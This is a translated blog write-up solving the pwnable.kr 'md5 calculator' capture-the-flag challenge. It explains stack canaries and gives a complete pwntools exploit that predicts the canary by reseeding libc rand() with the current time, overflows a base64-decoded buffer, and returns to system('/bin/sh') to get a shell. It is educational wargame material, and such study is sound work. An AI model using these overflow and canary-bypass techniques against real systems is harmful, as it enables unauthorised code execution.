Problem solving with pwnable.kr 23 - md5 calculator. We deal with Stack Canary. Connecting C libraries in python

image






In this article, we will solve the 23rd task from the site pwnable.kr , find out what stack canary is and connect libc in python.



Organizational Information
Especially for those who want to learn something new and develop in any of the areas of information and computer security, I will write and talk about the following categories:



  • PWN;
  • cryptography (Crypto);
  • network technologies (Network);
  • reverse (Reverse Engineering);
  • steganography (Stegano);
  • search and exploitation of WEB vulnerabilities.


In addition to this, I will share my experience in computer forensics, analysis of malware and firmware, attacks on wireless networks and local area networks, conducting pentests and writing exploits.



So that you can find out about new articles, software and other information, I created a channel in Telegram and a group to discuss any issues in the field of ICD. Also, I will personally consider your personal requests, questions, suggestions and recommendations personally and will answer everyone .



All information is provided for educational purposes only. The author of this document does not bear any responsibility for any damage caused to anyone as a result of using knowledge and methods obtained as a result of studying this document.



Stack canary



Canaries are known values ​​that are placed between the buffer and control data on the stack to monitor buffer overflows. After a buffer overflow, the first data to be corrupted is usually a canary. Thus, the value of the canary will be checked and, if the check fails, signal a buffer overflow. There are three types of canaries:



  1. Terminator. Canaries are built from null terminators, CR, LF and -1. As a result, the attacker must write a null character before writing the return address to avoid changing the canary. This prevents attacks using strcpy () and other methods that return when copying a null character, while the notorious result is the fame of the canary.
  2. Random Randomly generated. Usually a random canary is generated when the program is initialized and stored in a global variable. This variable is usually supplemented with unmapped pages, so trying to read it using any tricks that use errors to read from RAM causes a segmentation error to terminate the program.
  3. Random XOR. Random canaries that quarrel with control data. Thus, as soon as the canary or control data is clogged, the value of the canary will be incorrect. They have the same vulnerabilities as random canaries, except that the "read from the stack" method for getting canaries is a little more complicated. The attacker must receive the canary, algorithm, and control data in order to regenerate the original canary needed to fake the protection.


Solution of the md5 calculator job



We continue the second section. I will say right away that it is more complicated than the first one and we are not provided with the source code of the applications. Do not forget about the discussion here . Let's get started.



Click on the icon with the signature md5 calculator. We are given the address and port for connecting and the program itself.



image



Download everything that they give us, check the binary.



image



This is a 32-bit elf with a canary installed and an unexecutable stack. We decompile in IDA Pro.



image



The program has a built-in captcha check. We see two functions that are interesting functions: my_hash () and process_hash (). Let's start with the first one.



image



Let's redefine variable types and make the code easier to parse:



image



Thus, the function will return some random number. At the same time, v3 is the data at the address EBP-0xC. Let's take a look at another function.



image



Here, the variable v4 gets the value at the address EBP-0xC, and then quarrels at the exit from the function with this value. Next, 512 bytes are allocated for the v3 variable, keyboard input is read into the g_buf variable. After that, the string from g_buf is decoded in Base64 and written to v3. From v3 md5 hash is calculated. Thus, input to g_buf and copying to v3 are not limited, therefore there is a buffer overflow! Let's take a look at the stack.



image



Variable v3 is the stack canary located after the buffer. The program also calls the function of systems. Well, we’ll create a template for an exploit.



from pwn import * p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) p.interactive()
      
      





To begin with we will understand the payload. We must call the system function with the parameter “/ bin / sh”. But since the stack is not executable, we will call the system function, passing control to its address in the program, and as a parameter, the address to the line “/ bin / sh”, which we will write to g_buf.



So (look at the stack): You need to write 512 bytes of garbage, then 4 bytes of the canary value, then another 12 bytes of garbage. Now for ret, we must specify the address of the system function (4 bytes), the address of the string “/ bin / sh” (4 bytes), and the string “/ bin / sh” itself.



Now find the unknowns: the system call address.



image



This is 0x8049187. And the address of the string is “bin / sh”. To do this, we need to add the number of bytes to the g_buf address to the line “/ bin / sh”, taking into account the base64 encoding - this is 4/3 of the original value.



image



That is, the address of the line: 0x804b0e0 + (512 + 4 + 12 + 4 + 4 + 1) * 4/3 = 0x804b3ac. Make up the payload.



 payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00"
      
      





It remains to find the canary. As we found out, it sums up with random values ​​in the my_hash () function, which as a result gives us a canary. And srand (time (0)) is used as the seed for the rand function. That is, if we repeat the procedure in our exploit, and then subtract the generated value from the sent cookie, we will find the canary. Call rand () from libc in python.



 from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff
      
      





All. The full code looks like this.

 from pwn import * from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00" p.sendline(payload) p.interactive()
      
      





I started it several times and did not work, then I realized that due to the speed of the Internet and the time difference, the result of rand () does not match. Launched on the server.



image



We get the desired flag. You can join us on Telegram .



All Articles